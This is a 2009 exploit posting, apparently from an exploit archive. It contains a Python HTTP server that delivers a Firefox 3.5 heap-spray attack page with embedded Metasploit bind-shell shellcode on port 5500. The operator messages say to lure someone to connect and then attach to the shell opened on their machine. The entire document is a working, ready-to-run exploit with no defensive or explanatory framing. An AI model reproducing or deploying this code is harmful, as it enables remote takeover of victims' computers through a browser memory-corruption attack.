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firefox-heap.txt

Posted on 18 July 2009

#!/usr/bin/env python
#######################################################
#
# FireFox 3.5 Heap Spray Exploit
# Originally discovered by: Simon Berry-Bryne
# Pythonized by: David Kennedy (ReL1K) @ SecureState
#
#######################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys

class myRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""
<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Exploit
</br>
Discovered by: SBerry aka Simon Berry-Byrne
Pythonized: David Kennedy (ReL1K) at SecureState
Bind Shell Port: 5500
Encoding: Shikata_Ga_Nai
</br>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Ihazacrashihazacrash</FONT></p>
<p>
<FONT>Ohnoesihazacrashhazcrash</FONT>
</p>
<p>
<FONT>Aaaaahhhhh  </FONT>
</p>
</div>
<script language=JavaScript>

// windows/shell_bind_tcp - 317 bytes http://www.metasploit.com LPORT=5500 encoding=shikata_ga_nai
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" +
"%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
"%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
"%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
"%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
"%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
"%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
"%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
"%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
"%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
"%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
"%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
"%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +
"%uff53%uffd6%u41d0");
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()

function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}

function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>""")
print ("

[-] Exploit sent... [-]
[-] Wait about 30 seconds and attempt to connect.[-]
[-] Connect to IP Address: %s and port 5500 [-]" % (target))

def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()

httpd = HTTPServer(('', 80), myRequestHandler)

print ("""
#######################################################
#
# FireFox 3.5 Heap Spray
# Originally discovered by: Simon Berry-Bryne
# Pythonized: David Kennedy (ReL1K) @ SecureState
#
#######################################################
""")
print ("Listening on port 80.")
print ("Have someone connect to you.")
print ("
Type <control>-c to exit..")
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("

Exiting exploit...

")
sys.exit(1)

 

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